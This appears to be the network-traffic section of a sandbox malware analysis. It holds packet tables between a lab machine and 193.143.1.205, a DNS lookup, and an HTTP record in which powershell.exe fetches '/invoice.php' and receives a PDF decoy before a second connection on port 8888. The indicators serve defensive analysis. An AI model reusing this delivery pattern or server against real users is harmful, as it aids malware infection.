Jan 11, 2025 03:34:20.120165110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.120199919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.120270014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.120280981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.120310068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.120378971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.120390892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.120438099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.120441914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.120452881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.120464087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.120474100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.120481968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.120517015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.120568991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.120580912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.120625973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.123543024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.132077932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.132100105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.132153034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.133618116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.149374008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.149388075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.149399042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.149444103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.149454117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.149456978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.149466991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.149518967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.149530888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.149533987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.149583101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.149625063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.149666071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.149677038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.149687052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.149698019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.149722099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.149751902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.149765968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.149821043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.149831057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.149842024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.149866104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.149894953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.149961948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.161220074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.161241055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.161250114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.161293030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.161303997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.161304951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.161304951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.161355019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.161400080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.161412001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.161422968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.161452055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.169770956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.169790983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.169838905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.169990063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.170001030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.170007944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.170012951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.170018911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.170030117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.170068979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.170156002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.198970079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199016094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199059963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.199074030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199111938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199135065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.199163914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199198961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199223042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.199234962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199270010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199291945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.199302912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199363947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199379921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.199397087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199446917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199450016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.199480057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199531078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199544907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.199568033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199601889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199625015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.199636936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199655056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199716091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199728012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.199765921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199790955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.199799061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199834108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199853897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.199889898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199923992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199950933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.199955940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.199984074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.200005054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.200017929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.200048923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.200078011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.200084925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.200133085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.200143099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.200165033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.200196981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.200217962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.200289011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.200320959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.200345039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.200354099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.200387955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.200412989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.200457096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.200508118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.200516939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.200545073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.200577021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.200603008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.200608969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.200642109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.200659990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.200898886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.200927019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.200961113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.200977087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.201010942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.201030016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.201042891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.201075077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.201092005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.201103926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.201148987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.201175928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.201180935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.201214075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.201236010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.201247931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.201281071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.201303005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.201313972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.201345921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.201365948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.201378107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.201412916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.201431990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.201847076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.201879025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.201899052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.201914072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.201946974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.201966047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.201999903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.202033043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.202047110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.202066898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.202099085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.202121019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.202131987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.202163935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.202188015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.202197075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.202229977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.202255011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.202261925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.202295065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.202316046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.202327967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.202359915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.202378035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.202678919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.202713013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.202732086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.206736088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.206765890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.206798077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.206818104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.206868887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.206878901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.206902027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.206934929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.206955910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.206984997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.207020998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.207043886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.207048893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.207079887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.207108974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.207117081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.207145929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.207174063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.207178116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.207211018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.207235098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.207243919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.207294941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.207304001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.207345009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.207379103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.207397938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.207412004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.207444906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.207462072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.207477093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.207513094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.207530022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.207617998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.207653046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.207670927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.207685947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.207719088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.207743883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.208651066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.236673117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.236692905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.236711979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.236725092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.236731052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.236737967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.236757994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.236780882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.236784935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.236924887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.236924887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.244014025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.248047113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.248074055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.248084068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.248138905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.248152018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.248163939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.248198032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.248271942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.248282909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.248294115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.248322964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.248348951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.256639957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.256665945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.256675959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.256745100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.256748915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.256756067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.256767035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.256795883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.256819963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.256915092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.256926060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.256974936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.285573959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.285722017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.285732985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.285744905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.285798073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.285841942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.285845995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.285856962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.285867929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.285898924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.285983086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.285994053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.286004066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.286015034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.286026001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.286036968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.286039114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.286063910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.286083937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.286359072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.286370039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.286406040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.286422014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.286432981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.286442995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.286453009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.286463022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.286495924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.286652088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.286700010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.433159113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.871674061 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.876776934 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.876842976 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.878401995 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.883248091 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:21.679595947 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:21.723028898 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:21.917078018 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:34:33.766731024 CET	65270	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:34:33.766731024 CET	192.168.2.4	1.1.1.1	0xd3f3	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:34:33.775274992 CET	1.1.1.1	192.168.2.4	0xd3f3	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7616	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:34:18.747617960 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:34:19.527942896 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:34:19 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 